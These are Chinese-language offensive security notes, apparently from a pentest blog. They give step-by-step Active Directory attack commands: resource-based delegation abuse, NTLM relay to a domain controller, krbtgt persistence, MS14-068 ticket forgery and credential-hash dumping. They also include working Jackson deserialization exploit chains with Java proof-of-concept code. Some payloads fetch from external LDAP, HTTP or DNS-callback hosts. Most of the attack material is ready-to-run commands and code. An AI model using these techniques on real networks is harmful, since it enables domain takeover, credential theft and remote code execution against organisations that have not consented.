-Scope Process import-module .\powerview.ps1 $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1400638014-602433399-2258725660-1148)" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Get-DomainComputer WEB| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose查询是否修改成功Get-DomainComputer WEB -Properties msds-allowedtoactonbehalfofotheridentity清除 msds-allowedtoactonbehalfofotheridentity 属性的值Set-DomainObject WEB -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose然后生成票据python3 getST.py -dc-ip 10.150.127.166 haishi.com/test1\$:123456 -spn cifs/WEB.haishi.com -impersonate administrator导入票据export KRB5CCNAME=administrator.ccache python3 wmiexec.py WEB.haishi.com -no-pass -k -dc-ip 10.150.127.166这里还是需要将域名加入到hostspsexec上去权限更高python3 psexec.py -k haishi.com/administrator@WEB.haishi.com -no-pass利用方式2 Acount Operators组用户拿下主机如果获得Acount Operators组用户就可以获得域内除了域控的所有主机权限Acount Operators组成员可以修改域内除了域控其他所有主机的msDS-AllowedToActOnBehalfOfOtherIdentity属性这里本地设置一个Acount Operators组用户就还是用many 加入进去查询Acount Operators组成员adfind.exe -h 10.150.127.166:389 -s subtree -b CN="Account Operators",CN=Builtin,DC=haishi,DC=com member操作一样先创建机器账户powershell Set-ExecutionPolicy Bypass -Scope Process import-module .\Powermad.ps1 New-MachineAccount -MachineAccount test3 -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)然后设置委派先查sidGet-NetComputer test1 -Properties objectsidtest3 sid:S-1-5-21-1400638014-602433399-2258725660-1152修改WEB的msds-allowedtoactonbehalfofotheridentity的值powershell Set-ExecutionPolicy Bypass -Scope Process import-module .\powerview.ps1 $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1400638014-602433399-2258725660-1152)" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Get-DomainComputer WEB| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose然后生成票据python3 getST.py -dc-ip 10.150.127.166 haishi.com/test3\$:123456 -spn cifs/WEB.haishi.com -impersonate administrator导入票据export KRB5CCNAME=administrator.ccache python3 wmiexec.py WEB.haishi.com -no-pass -k -dc-ip 10.150.127.166利用方式3：结合HTLM Relay接管域控（CVE-2019-1040）辅助域控 win2016DC2 10.150.127.186还是先在WEB上创建一个机器用户 test2 123456powershell Set-ExecutionPolicy Bypass -Scope Process import-module .\Powermad.ps1 New-MachineAccount -MachineAccount test2 -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)然后开启监听python3 ntlmrelayx.py -t ldap://10.150.127.166 -smb2support --remove-mic --delegate-access --escalate-user test2\$然后利用打印机漏洞python3 printerbug.py haishi.com/many:asd123\!\@10.150.127.186 10.150.127.128然后申请票据python3 getST.py haishi.com/test2\$:123456 -spn CIFS/DC2.haishi.com -impersonate Administrator -dc-ip 10.150.127.166导入成功接管域控ntlm-relay攻击的前提是，smb认证获取的机器没有开启smb签名cve-2019-1040 在这里的作用是绕过了mic检验 因为打印机触发的是smb协议 域控是默认带有smb签名的 而cve漏洞在这里就刚好绕过了mic的检验 然后完成了ntlm-relay攻击利用方式4 打造变种黄金票据在获得域控的权限后 对krbtgt用户设置委派属性 来打造黄金票据 进行权限维持先创建一个机器账户 test4 123456然后来到域控上操作在powershell中执行Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount test4$ Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount已经成功配置基于资源的约束委派现在不管krbtgt的密码 hash怎么变 都不会影响我们打造黄金票据申请票据python3 getST.py haishi.com/test4\$:123456 -spn krbtgt -impersonate administrator -dc-ip 10.150.127.166导入票据export KRB5CCNAME=administrator.ccache python3 smbexec.py -k administrator@DC.haishi.com -no-pass -dc-ip 10.150.127.166MS14-068补丁编号是KB3011780，域里面最严重的漏洞之一，它允许任意用户提升到域管权限。该漏洞最本质的地方在于Microsoft Windows Kerberos KDC无法正确检查Kerberos票证请求随附的特权属性证书（PAC）中的有效签名，这里面的签名就是上面提到的服务检验和以及KDC校验和。导致用户可以自己构造一张PAC。 签名原本的设计是要用到HMAC系列的checksum算法，也就是必须要有key的参与，我们没有krbtgt的hash以及服务的hash，就没有办法生成有效的签名，但是问题就出在，实现的时候允许所有的checksum算法都可以，包括MD5。那我们只需要把PAC 进行md5，就生成新的校验和。这也就意味着我们可以随意更改PAC的内容，完了之后再用md5 给他生成一个服务检验和以及KDC校验和。在MS14-068修补程序之后，Microsoft添加了一个附加的验证步骤，以确保校验和类型为KRB_CHECKSUM_HMAC_MD5。在KERB_VALIDATION_INFO结构里面，我们看到有这两个字段。其中GroupId是用户所在所在的组，那只要我们把重要组(比如域管组)的sid加进GroupId。那么服务拿这用户的TGS去询问域管用户是否有访问访问改服务的权限的时候，域控会解密PAC，提取里面用户的sid，以及所在的组(GroupId)，我们已经把域管加进去了，是的域控把把这个用户当做域管组里面的成员。从而达到提升为域管的效果。pykek加入的是以下组,域用户（513）域管理员（512）架构管理员（518）企业管理员（519）组策略创建者所有者（520）现在我们已经能够伪造pac,将我们放在域管的组里，然后伪造检验和。但是即使用户可以伪造PAC。该漏洞的利用依旧还有一个棘手的问题。 前面我们说过。PAC是包含在TGT里面的,而TGT是krbtgt的用户hash加密的，也就意味着即使我们可以伪造PAC，那我们有什么办法讲PAC放在票据里面传输给KDC呢。漏洞的作者用了一个很巧妙的方式：通过查看pykek的源码发现， 作者将PAC加密成密文放在enc-authorization-data里面，enc-authorization-data的结构如下 AuthorizationData::= SEQUENCE OF SEQUENCE { ad-type[0] Int32, ad-data[1] OCTET STRING }ad-type是加密算法 ad-data是pac加密后的内容 加密用的key是客户端生成的。KDC并不知道这个key。KDC会从PA-DATA里面的AP_REQ获取到这个key。从而对ad-data进行解密，然后拿到PAC，再检查校验和。 AP_REQ的type是PADATA_TYPE.AP_REQ(INTEGER 1)，value是如下结构体AP-REQ ::= [APPLICATION 14] SEQUENCE { pvno [0] INTEGER (5), msg-type [1] INTEGER (14), ap-options [2] APOptions, ticket [3] Ticket, authenticator [4] EncryptedData -- Authenticator }之前说的TGT票据放在这个结构体里面，就是放在ticket里面。 authenticator 的内容包括加密类型和用session_key加密Authenticator加密成的密文。 Authenticator的结构如下Authenticator ::= [APPLICATION 2] SEQUENCE { authenticator-vno [0] INTEGER (5), crealm [1] Realm, cname [2] PrincipalName, cksum [3] Checksum OPTIONAL, cusec [4] Microseconds, ctime [5] KerberosTime, subkey [6] EncryptionKey OPTIONAL, seq-number [7] UInt32 OPTIONAL, authorization-data [8] AuthorizationData OPTIONAL }其中加密PAC的密钥就放在subkey里面。 大体流程就是KDC拿到AP_REQ之后，提取里面authenticator的密文，用session_key解密获得subkey，再使用subkey解密enc-authorization-data获得PAC.而PAC是我们自己伪造的.pykekPython Kerberos Exploitation Kit通过 pykek 生成一个域管权限的的TGT票据，然后可以通过 mimikatz 或 impacket 导入TGT票据进行横向移动。先获取sidpython lookupsid.py aaa.com/dai5:1q2w3e@172.23.4.4 -domain-sids拼接成S-1-5-21-866784659-4049716574-3063611777-1104生成TGTpython2 ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> python2 ms14-068.py -u lihua@qftm.com -s S-1-5-21-1089315214-1876535666-527601790-1128 -d 192.168.1.10 -p 1234567 python2 ms14-068.py -u lihua@qftm.com -s S-1-5-21-1089315214-1876535666-527601790-1128 -d 192.168.1.10 --rc4 328727b81ca05805a68ef26acb252039 -d也可以-d DC.aaa.comMimikatz 加载域管TGT票据kerberos::purge kerberos::klist kerberos::ptc TGT_lihua@qftm.com.ccachedump hashpython secretsdump.py redteam.com/@DC2.redteam.com -k -no-pass -dc-ip 172.16.228.143 -just-dc-user administrator redteam.com/administrator@DC2.edteam.com 指定使用哪个用户在目标主机进行认证 -k 使用 Kerberos 认证（读取 TGT） -no-pass 不提示输入密码（你是用票据的） -dc-ip 172.16.228.143 指定域控的 IP，防止 DNS 解析失败 -just-dc-user administrator 只 dump 域控上指定用户（administrator）的 hash，速度快且隐蔽或者通过你的“假域管”TGT去登录其他机器，比如： smbexec.py -k -no-pass domain/administrator@victim.domain.com 或者开启远程 WinRM 会话： evil-winrm -k -no-pass -r victim.domain.com -u administrator -d domain 使用 secretsdump.py 拿下域控上的所有账户 hash： secretsdump.py -k -no-pass domain/administrator@dc.domain.comkekeoexploit::ms14068 /domain:redteam.com /user:testuser /rc4:<ntlm_hash> /sid:S-1-5-21-XXXXX-XXXXX-XXXXX-1104 /ptt exploit::ms14068 /domain:redteam.com /user:testuser /password:1q2w3e /sid:S-1-5-21-XXXXX-XXXXX-XXXXX-1104 /pttimpacketgoldenPac.py：这个工具是结合ms14-068加psexecpython goldenPac.py readteam.com/dai5:1q2w3e@DC.readteam.com -dc-ip 172.16.228.143 -target-ip 172.16.228.143 -debugmsf
JackSon反序列化JackSonSpringboot一般都会自带JackSon这个依赖包，JackSon跟Fastjson有相同的功效。Jackson 是一个用于处理 JSON 数据的开源 Java 库。Spring MVC 的默认 json 解析器便是 Jackson。在 Java 领域，Jackson 已经成为处理 JSON 数据的事实标准库。它提供了丰富的功能，包括将 Java 对象转换为 JSON 字符串（序列化）以及将 JSON 字符串转换为 Java 对象（反序列化）。Jackson主要由三个核心包组成：jackson-databind：提供了通用的数据绑定功能（将Java对象与JSON数据相互转换）jackson-core：提供了核心的低级JSON处理API（例如JsonParser和JsonGenerator）jackson-annotations：提供了用于配置数据绑定的注解<dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.13.3</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-core</artifactId> <version>2.13.3</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-annotations</artifactId> <version>2.13.3</version> </dependency>示例ObjectMapperJackson 最常用的 API 就是基于"对象绑定" 的 ObjectMapper：ObjectMapper可以从字符串，流或文件中解析JSON，并创建表示已解析的JSON的Java对象。 将JSON解析为Java对象也称为从JSON反序列化Java对象。ObjectMapper也可以从Java对象创建JSON。 从Java对象生成JSON也称为将Java对象序列化为JSON。Object映射器可以将JSON解析为自定义的类的对象，也可以解析置JSON树模型的对象。之所以称为ObjectMapper是因为它将JSON映射到Java对象（反序列化），或者将Java对象映射到JSON（序列化）。package jackson; import com.fasterxml.jackson.databind.ObjectMapper; import java.io.IOException; public class demo { public static void main(String[] args) throws IOException { Person user = new Person("eqw",123); ObjectMapper mapper = new ObjectMapper(); String json = mapper.writeValueAsString(user); System.out.println(json);//{"name":"eqw","age":123} Person other = mapper.readValue(json,Person.class); System.out.println(other);//jackson.Person@6a4f787b } }JsonParserJackson JsonParser类是一个底层一些的JSON解析器。 它类似于XML的Java StAX解析器，差别是JsonParser解析JSON而不解析XML。Jackson JsonParser的运行层级低于Jackson ObjectMapper。 这使得JsonParser比ObjectMapper更快，但使用起来也比较麻烦。使用JsonParser需要先创建一个JsonFactorypackage jackson; import com.fasterxml.jackson.core.JsonFactory; import com.fasterxml.jackson.core.JsonParser; import com.fasterxml.jackson.core.JsonToken; public class demo1 { public static void main(String[] args){ String json = "{\"name\":\"ewq\",\"age\":123}"; JsonFactory jsonFactory = new JsonFactory(); Person1 person1 =new Person1(); try{ JsonParser parser = jsonFactory.createParser(json); System.out.println(parser);//com.fasterxml.jackson.core.json.ReaderBasedJsonParser@1e80bfe8 while(!parser.isClosed()){ JsonToken jsonToken = parser.nextToken(); System.out.println(jsonToken); if (JsonToken.FIELD_NAME.equals(jsonToken)){ String fieldName = parser.getCurrentName(); // System.out.println(fieldName); jsonToken=parser.nextToken(); System.out.println(jsonToken); if ("name".equals(fieldName)){ person1.name = parser.getValueAsString(); } else if ("age".equals(fieldName)){ person1.age = parser.getValueAsInt(); } } System.out.println("person's name is "+person1.name); System.out.println("person's age is "+person1.age); } } catch (Exception e ){ e.printStackTrace(); } } } class Person1 { public String name; public int age; public Person1() { } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } } 一旦创建了Jackson JsonParser，就可以使用它来解析JSON。 JsonParser的工作方式是将JSON分解为一系列令牌，可以一个一个地迭代令牌。使用JsonParser的nextToken()获得一个JsonToken，然后循环打印看看所有的 jsonToken，在得到 parser 后添加下面代码while(!parser.isClosed()){ JsonToken jsonToken = parser.nextToken(); System.out.println(jsonToken);运行得到然后再利用equals方法进行匹配，如果标记的字段名称是相同的就返回其值返回值可以用 getValueAsString()，getValueAsInt() 等方法，根据不同的值的类型JsonGeneratorJackson JsonGenerator用于从Java对象（或代码从中生成JSON的任何数据结构）生成JSON。同样的 使用JsonGenerator也需要先创建一个JsonFactory 从其中使用createGenerator() 来创建一个JsonGeneratorpackage jackson; import com.fasterxml.jackson.core.JsonEncoding; import com.fasterxml.jackson.core.JsonFactory; import com.fasterxml.jackson.core.JsonGenerator; import java.io.File; public class demo2 { public static void main(String[] args){ JsonFactory jsonFactory = new JsonFactory(); Person person =new Person(); try{ JsonGenerator jsonGenerator = jsonFactory.createGenerator(new File("output.json"), JsonEncoding.UTF8); jsonGenerator.writeStartObject(); jsonGenerator.writeStringField("name","ewq"); jsonGenerator.writeNumberField("age",123); jsonGenerator.writeEndObject(); jsonGenerator.close(); } catch (Exception e ){ e.printStackTrace(); } } }直接写到文件里，这个不能json to Java objectPOJONodepublic static void main(String[] args) { Person p = new Person(); POJONode jsonNodes = new POJONode(p); jsonNodes.toString(); }利用原理JackSon的链子主要是利用利用BaseJsonNode的tostring触发到getter方法。：从ObjectMapper#writeValueAsString()方法跟进，->ObjectMapper#writeValueAsString() --> ObjectMapper#_writeValueAndClose() --> DefaultSerializerProvider#serializeValue() --> DefaultSerializerProvider#_serialize() --> BeanSerializer#serialize()跟进serializeFields --> BeanPropertyWriter#serializeAsField这里对Bean类中的所有属性值的写入，也就是在这里调用了getter方法。BaseJsonNode是抽象类,我们用PoJoNode：PoJoNode类是继承ValueNode，ValueNode是继承BaseJsonNode类注意点PoJoNode类是继承ValueNode，ValueNode是继承BaseJsonNode类，我们看看BaseJsonNode类:它拥有writeReplace方法，有这个方法就意味着反序列化时不会走正常渠道，而是走这个writeReplace方法，这是反序列化的规则，解决办法就是重写BaseJsonNode类，把这个writeReplace注释掉即可利用链TemplatesImpl链影响版本Jackson 2.6系列 < 2.6.7.1Jackson 2.7系列 < 2.7.9.1Jackson 2.8系列 < 2.8.8.1看到BaseJsonNode类的toString方法，@Override public String toString() { return InternalNodeMapper.nodeToString(this); }跟进InternalNodeMapper类的nodeToString方法public static String nodeToString(JsonNode n) { try { return STD_WRITER.writeValueAsString(n); } catch (IOException e) { // should never occur throw new RuntimeException(e); } }这里可以进入writeValueAsString只要进入writeValueAsString方法，就可以调用任意getter方法，最经典的getter就是TemplatesImpl.getOutputProperties方法。由于BaseJsonNode是抽象类，我们找他的子类，而且没有重写toString方法的子类就可以了，可以用POJONode然后用BadAttributeValueExpException触发toString就可以了package jackson; import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.*; import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.*; import java.util.Base64; import static jackson.Tools.*; public class TemplatesImpldemo { public static void main(String[] args) throws Exception { overrideJackson(); byte[] bytes = getshortevil("calc"); Templates templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{bytes}); setFieldValue(templates, "_name", "whatever"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); POJONode pojoNode = new POJONode(templates); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); setFieldValue(badAttributeValueExpException, "val", pojoNode); //序列化 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(badAttributeValueExpException); oos.close(); System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray()))); //反序列化 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } public static void overrideJackson() throws NotFoundException, CannotCompileException, IOException { CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); ctClass.removeMethod(writeReplace); ctClass.toClass(); } }SignObject链二次反序列化java.security.SignedObject类有一个令人满意的getter方法getObject()，content通过构造方法可控，这里就可以调用任意字节流的原生反序列化，并返回反序列化后的对象既然是getter方法，那么也可以被jackson链调用。package jackson; import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.*; import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.*; import java.security.*; import java.util.Base64; import static jackson.Tools.*; public class SignObject_jackson { public static void main(String[] args) throws Exception { overrideJackson(); byte[] evilbyte = getshortevil("calc"); Templates templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{evilbyte}); setFieldValue(templates, "_name", "whatever"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); POJONode pojoNode = new POJONode(templates); BadAttributeValueExpException exp = new BadAttributeValueExpException(null); setFieldValue(exp, "val", pojoNode); KeyPairGenerator keyPairGenerator; keyPairGenerator = KeyPairGenerator.getInstance("DSA"); keyPairGenerator.initialize(1024); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signingEngine = Signature.getInstance("DSA"); SignedObject signedObject = new SignedObject(exp,privateKey,signingEngine); POJONode pojoNode2 = new POJONode(signedObject); BadAttributeValueExpException exp2 = new BadAttributeValueExpException(null); setFieldValue(exp2, "val", pojoNode2); //序列化 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(exp2); oos.close(); System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray()))); //反序列化 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } public static void overrideJackson() throws NotFoundException, CannotCompileException, IOException { CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); ctClass.removeMethod(writeReplace); ctClass.toClass(); } }LdapAttribute链LdapAttribute类中有getter方法调用了lookup需要注意的是baseCtxURL必须是ldap://xxxx/这种格式,否则经过拼接之后查询ldap会出现错误.而rdn这个字符串只能够拼接第一个/前的进去.所以我们构造的payload必须形如ldap://xxxx/xxx/.用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar直接起就行package jackson; import com.fasterxml.jackson.databind.node.POJONode; import javassist.*; import javax.management.BadAttributeValueExpException; import javax.naming.CompositeName; import java.io.*; import java.lang.reflect.Constructor; import java.util.Base64; import static jackson.Tools.*; public class LdapAttributedemo { public static void main( String[] args ) throws Exception { overrideJackson(); String ldapCtxUrl = "ldap://127.0.0.1:1389/"; Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute"); Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor( new Class[] {String.class}); ldapAttributeClazzConstructor.setAccessible(true); Object ldapAttribute = ldapAttributeClazzConstructor.newInstance( new Object[] {"name"}); setFieldValue(ldapAttribute, "baseCtxURL", ldapCtxUrl); setFieldValue(ldapAttribute, "rdn", new CompositeName("yriwp1/z")); POJONode jsonNodes = new POJONode(ldapAttribute); BadAttributeValueExpException exp = new BadAttributeValueExpException(null); setFieldValue(exp, "val", jsonNodes); //序列化 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(exp); oos.close(); System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray()))); //反序列化 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } public static void overrideJackson() throws NotFoundException, CannotCompileException, IOException { CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); ctClass.removeMethod(writeReplace); ctClass.toClass(); } } 特定配置导致的利用<dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.7.9</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-core</artifactId> <version>2.7.9</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-annotations</artifactId> <version>2.7.9</version> </dependency>当我们使用的JacksonPolymorphicDeserialization配置有问题的时候 Jackson反序列化会调用属性所属类的构造函数和setter方法满足下面三个条件之一即存在Jackson反序列化漏洞：调用了ObjectMapper.enableDefaultTyping()函数；对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.CLASS的@JsonTypeInfo注解；对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.MINIMAL_CLASS的@JsonTypeInfo注解；简单地说，Java多态就是同一个接口使用不同的实例而执行不同的操作。那么问题来了，如果对多态类的某一个子类实例在序列化后再进行反序列化时，如何能够保证反序列化出来的实例即是我们想要的那个特定子类的实例而非多态类的其他子类实例呢？——Jackson实现了JacksonPolymorphicDeserialization机制来解决这个问题。JacksonPolymorphicDeserialization即Jackson多态类型的反序列化：在反序列化某个类对象的过程中，如果类的成员变量不是具体类型（non-concrete），比如Object、接口或抽象类，则可以在JSON字符串中指定其具体类型，Jackson将生成具体类型的实例。简单地说，就是将具体的子类信息绑定在序列化的内容中以便于后续反序列化的时候直接得到目标子类对象，其实现有两种：DefaultTyping@JsonTypeInfo注解。利用链TemplatesImpl利用链（CVE-2017-7525）影响版本Jackson 2.6系列 < 2.6.7.1Jackson 2.7系列 < 2.7.9.1Jackson 2.8系列 < 2.8.8.1{ "object":[ "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", { "transletBytecodes":["Base64exp"], "transletName":"feng", "outputProperties":{} } ] }package jackson; import com.fasterxml.jackson.databind.ObjectMapper; import com.unboundid.util.Base64; import static jackson.Tools.*; public class templdemo { public static void main(String[] args) throws Exception{ String exp = Base64.encode(getBytes("jackson.evil")); exp = exp.replace("\n",""); String jsonInput = aposToQuotes("{\"object\":['com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" + "{\n" + "'transletBytecodes':['"+exp+"'],\n" + "'transletName':'whatever',\n" + "'outputProperties':{}\n" + "}\n" + "]\n" + "}"); ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); mapper.readValue(jsonInput, evil.class); } public static String aposToQuotes(String json){ return json.replace("'","\""); } }高版本JDK不能触发的原因——_tfactory在大版本下，JDK1.7和1.8中，com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类是有所不同的。区别在于新建TransletClassLoader类实例的代码，其中调用了 _factory 属性，但是该属性值我们没有在PoC中设置，默认为null，于是就会抛出异常了。Jackson不支持在序列化的TemplatesImpl类的内容上添加并解析_tfactory属性，所以也就没法进行反序列化了。至于为什么jackson-databind-2.7.9.1 或者更高的版本不能触发是因为，在调用BeanDeserializerFactory.createBeanDeserializer()函数创建Bean反序列化器的时候，其中会调用checkIllegalTypes()函数提取当前类名，然后使用黑名单进行过滤：static { Set<String> s = new HashSet<String>(); // Courtesy of [https://github.com/kantega/notsoserial]: // (and wrt [databind#1599] s.add("org.apache.commons.collections.functors.InvokerTransformer"); s.add("org.apache.commons.collections.functors.InstantiateTransformer"); s.add("org.apache.commons.collections4.functors.InvokerTransformer"); s.add("org.apache.commons.collections4.functors.InstantiateTransformer"); s.add("org.codehaus.groovy.runtime.ConvertedClosure"); s.add("org.codehaus.groovy.runtime.MethodClosure"); s.add("org.springframework.beans.factory.ObjectFactory"); s.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); DEFAULT_NO_DESER_CLASS_NAMES = Collections.unmodifiableSet(s); }实际调试的时候回调用两次BeanDeserializerFactory.createBeanDeserializer()->checkIllegalTypes()，第一次由于是 Person 类，因此不会被过滤；第二次是TemplatesImpl类，由于其在黑名单中，因此被过滤了。ClassPathXmlApplicationContext利用链（CVE-2017-17485）影响版本Jackson 2.7系列 < 2.7.9.2Jackson 2.8系列 < 2.8.11Jackson 2.9系列 < 2.9.4需要有Spring的依赖["org.springframework.context.support.ClassPathXmlApplicationContext", "http://127.0.0.1:39876/spel.xml"]spel.xml：<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder"> <constructor-arg value="calc.exe" /> <property name="whatever" value="#{ pb.start() }"/> </bean> </beans>package jackson; import com.fasterxml.jackson.databind.ObjectMapper; import java.io.IOException; public class cpath { public static void main(String[] args) throws IOException { //CVE-2017-17485 String payload = "[\"org.springframework.context.support.ClassPathXmlApplicationContext\", \"http://127.0.0.1:7777/spel.xml\"]"; ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); mapper.readValue(payload, Object.class); } }c3p0利用链JNDI注入链["com.mchange.v2.c3p0.JndiRefForwardingDataSource", {"jndiName":"ldap://121.5.169.223:1389/k2isjv", "loginTimeout":0}]package jackson; import com.fasterxml.jackson.databind.ObjectMapper; import java.io.IOException; public class c3jndi { public static void main(String[] args) throws IOException { String payload = "[\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\", {\"jndiName\":\"ldap://127.0.0.1:1389/et5soo\", \"loginTimeout\":0}]"; ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); mapper.readValue(payload, Object.class); } }先调用setJndiName设置jndiName：public void setJndiName( Object jndiName ) throws PropertyVetoException { Object oldVal = this.jndiName; if ( ! eqOrBothNull( oldVal, jndiName ) ) vcs.fireVetoableChange( "jndiName", oldVal, jndiName ); this.jndiName = (jndiName instanceof Name ? ((Name) jndiName).clone() : jndiName /* String */); if ( ! eqOrBothNull( oldVal, jndiName ) ) pcs.firePropertyChange( "jndiName", oldVal, jndiName ); }然后调用setLoginTimeout：public void setLoginTimeout(int seconds) throws SQLException { inner().setLoginTimeout( seconds ); }跟进inner()：private synchronized DataSource inner() throws SQLException { if (cachedInner != null) return cachedInner; else { DataSource out = dereference(); if (this.isCaching()) cachedInner = out; return out; } }因为没设置cachedInner所以为null，跟进dereference()：private DataSource dereference() throws SQLException { Object jndiName = this.getJndiName(); Hashtable jndiEnv = this.getJndiEnv(); try { InitialContext ctx; if (jndiEnv != null) ctx = new InitialContext( jndiEnv ); else ctx = new InitialContext(); if (jndiName instanceof String) return (DataSource) ctx.lookup( (String) jndiName ); else if (jndiName instanceof Name) return (DataSource) ctx.lookup( (Name) jndiName ); else throw new SQLException("Could not find ConnectionPoolDataSource with " + "JNDI name: " + jndiName); }hex序列化字节加载器package jackson; import com.fasterxml.jackson.databind.ObjectMapper; import static jackson.Tools.*; public class c3Hex { public static void main(String[] args) throws Exception{ byte[] evil = getBytes("jackson.evil"); String hexString = bytesToHexString(evil,evil.length); String poc = "{\"object\":[\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",{\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hexString + ";\"}]}"; System.out.println(poc); ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); mapper.readValue(poc, evil.class); } public static String bytesToHexString(byte[] bArray, int length) { StringBuffer sb = new StringBuffer(length); for(int i = 0; i < length; ++i) { String sTemp = Integer.toHexString(255 & bArray[i]); if (sTemp.length() < 2) { sb.append(0); } sb.append(sTemp.toUpperCase()); } return sb.toString(); } }DNS探测["java.util.HashSet","java.net.URL","http://1wc3gw.dnslog.cn"] ["java.net.InetSocketAddress","36alx7.dnslog.cn"] ["java.net.InetAddress","ap6d50.dnslog.cn"]package jackson; import com.fasterxml.jackson.databind.ObjectMapper; import java.io.IOException; public class dnstest { public static void main(String[] args) throws IOException { String poc = "[\"java.util.HashSet\",\"java.net.URL\",\"https://l2vnosw1.requestrepo.com/\"]"; ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); mapper.readValue(poc, Object.class); } }
